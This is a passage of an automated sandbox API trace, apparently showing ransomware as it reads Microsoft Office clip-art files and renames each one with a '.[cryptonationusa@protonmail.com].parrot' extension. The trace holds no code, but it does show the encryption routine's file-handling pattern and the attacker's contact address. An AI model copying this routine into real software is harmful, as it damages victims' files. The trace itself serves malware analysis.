hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.883] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.883] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6db8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6db8, lpOverlapped=0x0) returned 1 [0162.887] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.888] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297551.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2270090 | out: hHeap=0x5b0000) returned 1 [0162.891] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.891] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.893] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.893] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa7c2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa7c2, lpOverlapped=0x0) returned 1 [0162.896] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.897] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22780d0 | out: hHeap=0x5b0000) returned 1 [0162.901] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.901] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.902] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.902] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27ba, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x27ba, lpOverlapped=0x0) returned 1 [0162.905] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.905] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0162.911] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.911] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.913] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.913] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x197e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x197e, lpOverlapped=0x0) returned 1 [0162.914] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.914] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.915] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.915] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.915] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0162.919] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.919] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.921] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.921] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19a6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x19a6, lpOverlapped=0x0) returned 1 [0162.922] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.922] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.924] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.924] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.924] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0162.925] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.926] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.927] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.927] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x163c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x163c, lpOverlapped=0x0) returned 1 [0162.928] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.928] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0162.931] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.932] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.933] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.933] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x23b6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x23b6, lpOverlapped=0x0) returned 1 [0162.935] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.937] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.937] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.937] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0162.939] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.939] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.940] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.940] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x62c8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x62c8, lpOverlapped=0x0) returned 1 [0162.943] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.944] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.946] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2270090 | out: hHeap=0x5b0000) returned 1 [0162.948] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.948] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.949] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.949] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1310, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1310, lpOverlapped=0x0) returned 1 [0162.950] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.951] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299611.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299611.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.952] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.952] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.952] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0162.956] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.956] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.957] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.957] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4322, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4322, lpOverlapped=0x0) returned 1 [0162.960] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.960] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299763.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299763.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.961] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2270090 | out: hHeap=0x5b0000) returned 1 [0162.963] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.963] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.965] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.965] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3465, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3465, lpOverlapped=0x0) returned 1 [0162.967] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.968] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300520.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300520.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.969] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.970] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.970] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0162.971] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.972] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.973] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.973] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x239c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x239c, lpOverlapped=0x0) returned 1 [0162.974] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.975] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.976] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.976] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.976] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0162.979] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.979] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.981] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.981] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdafc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xdafc, lpOverlapped=0x0) returned 1 [0162.985] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.986] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300912.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300912.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.987] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.987] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.987] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22780d0 | out: hHeap=0x5b0000) returned 1 [0162.989] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.989] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0163.026] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.026] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2fd8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2fd8, lpOverlapped=0x0) returned 1 [0163.029] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.031] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301050.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301050.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0163.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0163.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0163.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0163.036] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0163.036] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0163.037] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.038] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x224e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x224e, lpOverlapped=0x0) returned 1 [0163.040] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.040] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 